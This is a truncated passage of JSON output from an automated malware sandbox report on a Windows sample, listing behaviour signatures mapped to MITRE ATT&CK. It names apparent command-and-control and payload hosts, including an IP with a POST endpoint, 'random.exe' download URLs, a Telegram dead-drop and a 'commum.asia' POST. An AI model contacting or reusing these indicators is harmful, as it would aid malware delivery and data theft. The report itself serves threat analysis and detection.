\"cde4308e66.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows 6 sections\"- Location: [%TEMP%\\10716570101\\cde4308e66.exe]- [targetUID: 00000000-00005828]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$36","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"bounty-38813904328784694.exe\" queries basic process information of the \"C:\\bounty-38813904328784694.exe\" (UID: 6528)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$37","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$38","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to detect virtual environment\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to delay the execution of current thread\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Possibly tries to evade analysis by sleeping many times\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$39","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$3a","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$3c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"bounty-38813904328784694.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\inetcache\\ie\\lscby323\\random[1].exe\"\n \"bounty-38813904328784694.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\10716570101\\cde4308e66.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve NetBIOS or DNS name associated with the local computer","description":"Observed import api \"GetComputerNameExW\" which can be \"used to retrieve NetBIOS or DNS name associated of the local computer\" [Source: bounty-38813904328784694]","origin":"Static Parser","mitre_attack_id":"T1016","relevance":5,"id":"static-194","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"bounty-38813904328784694.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /di9ku38f/index.php\" - (UID: 00000000-00006528)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"bounty-38813904328784694.exe\" called \"InternetReadFile\" with parameter 1023 (UID: 00000000-00006528)\n \"bounty-38813904328784694.exe\" called \"InternetReadFile\" with parameter 16384 (UID: 00000000-00006528)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"bounty-38813904328784694.exe\" called \"InternetOpenA\" (UID: 00000000-00006528)\n \"bounty-38813904328784694.exe\" called \"InternetOpenW\" (UID: 00000000-00006528)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /di9ku38f/index.php\"\n Found http requests in header \"GET /files/rdx/random.exe\"\n Found http requests in header \"GET /files/fate/random.exe\"\n Found http requests in header \"GET /romalabs4\"\n Found http requests in header \"POST /taxe\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"HttpSendRequestA\" (Indicator: \"HttpSendRequest\"; File: \"bounty-38813904328784694\")\n Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; File: \"bounty-38813904328784694\")\n Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"bounty-38813904328784694\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; File: \"bounty-38813904328784694\")\n Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; File: \"bounty-38813904328784694\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"bounty-38813904328784694\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; File: \"bounty-38813904328784694\")\n Found reference to API \"HttpSendRequestExA\" (Indicator: \"HttpSendRequest\"; File: \"bounty-38813904328784694\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"bounty-38813904328784694\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"bounty-38813904328784694\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; File: \"bounty-38813904328784694\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"94.154.35.25\"\n \"178.16.54.200\"\n \"4.154.35.25\"\n Potential IP \"94.154.35.25\" found in string \"http://94.154.35.25/di9ku38f/index.php\"\n Potential IP \"94.154.35.25\" found in string \"ttp://94.154.35.25/di9ku38f/index.php\"\n \"78.16.54.200\"\n Potential IP \"178.16.54.200\" found in string \"178.16.54.200/files/rdx/random.exe\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"get /romalabs4 http/1.1connection: keep-alivehost: t.me\"\n Heuristic match: \"commum.asia\"\n Pattern match: \"http://schemas.microsoft.com/smi/2019/windowssettings\"\n Pattern match: \"http://www.w3.org/2001/xmlschema-instance\"\n Heuristic match: \"$u.cc\"\n Heuristic match: \"eq.tk\"\n Heuristic match: \".a.kw\"\n Heuristic match: \"o~.rw\"\n Heuristic match: \"45f.gp\"\n Heuristic match: \"(\\.mu\"\n Heuristic match: \"p9n.sn\"\n Pattern match: \"http://94.154.35.25/di9ku38f/index.php\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3e","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /files/rdx/random.exe HTTP/1.1\n\n GET /files/fate/random.exe HTTP/1.1\n\n GET /romalabs4 HTTP/1.1\nConnection: Keep-Alive\nHost: t.me\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"commum.asia\" (3 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://t.me/romalabs4\n Found HTTPS POST request to https://commum.asia/taxe","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"149.154.167.99\" on port \"443\"\n HTTPS traffic to \"109.104.153.203\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - High entropy file","description":"YARA signature to detect high entropy file file \"random_1_.exe\"\n YARA signature to detect high entropy file file \"cde4308e66.exe\"\n YARA signature to detect high entropy file process \"00000000-00006500\"\n YARA signature to detect high entropy file file \"adc663ab13.exe\"\n YARA signature to detect high entropy file process \"00000000-00005828\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-605","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Medium entropy File","description":"YARA signature to detect medium entropy file file \"sample.bin\"\n YARA signature to detect medium entropy file process \"00000000-00006528\"\n YARA signature to detect medium entropy file process \"00000000-00005828\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-606","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on file \"sample.bin\"\n YARA signature for RC4 encryption matched on process \"00000000-00006500\"\n YARA signature for RC4 encryption matched on file \"adc663ab13.exe\"\n YARA signature for RC4 encryption matched on file \"random_1_.exe\"\n YARA signature for RC4 encryption matched on process \"00000000-00006528\"\n YARA signature for RC4 encryption matched on process \"00000000-00005828\"","origin":"YARA Signature","mitre_attack_id":"T1027","id":"yara-104","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – PEB traversal","description":"YARA signature for PEB traversal process \"00000000-00006500\"\n YARA signature for PEB traversal file \"adc663ab13.exe\"\n YARA signature for PEB traversal file \"random_1_.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.007","relevance":1,"id":"yara-166","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"bounty-38813904328784694\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: bounty-38813904328784694]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: adc663ab13.exe]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyExA\" in file \"bounty-38813904328784694\"\n Found registry query API: \"RegQueryInfoKeyW\" in file \"bounty-38813904328784694\"\n Found registry query API: \"RegGetValueA\" in file \"bounty-38813904328784694\"\n Found registry query API: \"RegQueryValueExA\" in file \"bounty-38813904328784694\"\n Found registry query API: \"RegEnumValueA\" in file \"bounty-38813904328784694\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"bounty-38813904328784694.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cde4308e66.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cde4308e66.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"15\"\n \"th32ProcessID\": \"0\"}\n \"adc663ab13.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"bounty-38813904328784694.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"cde4308e66.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"bounty-38813904328784694.exe\" called \"GetUserNameA\" (UID: 00000000-00006528)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"BasepSetFileEncryptionCompression\" (Indicator: \"fileencrypt\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 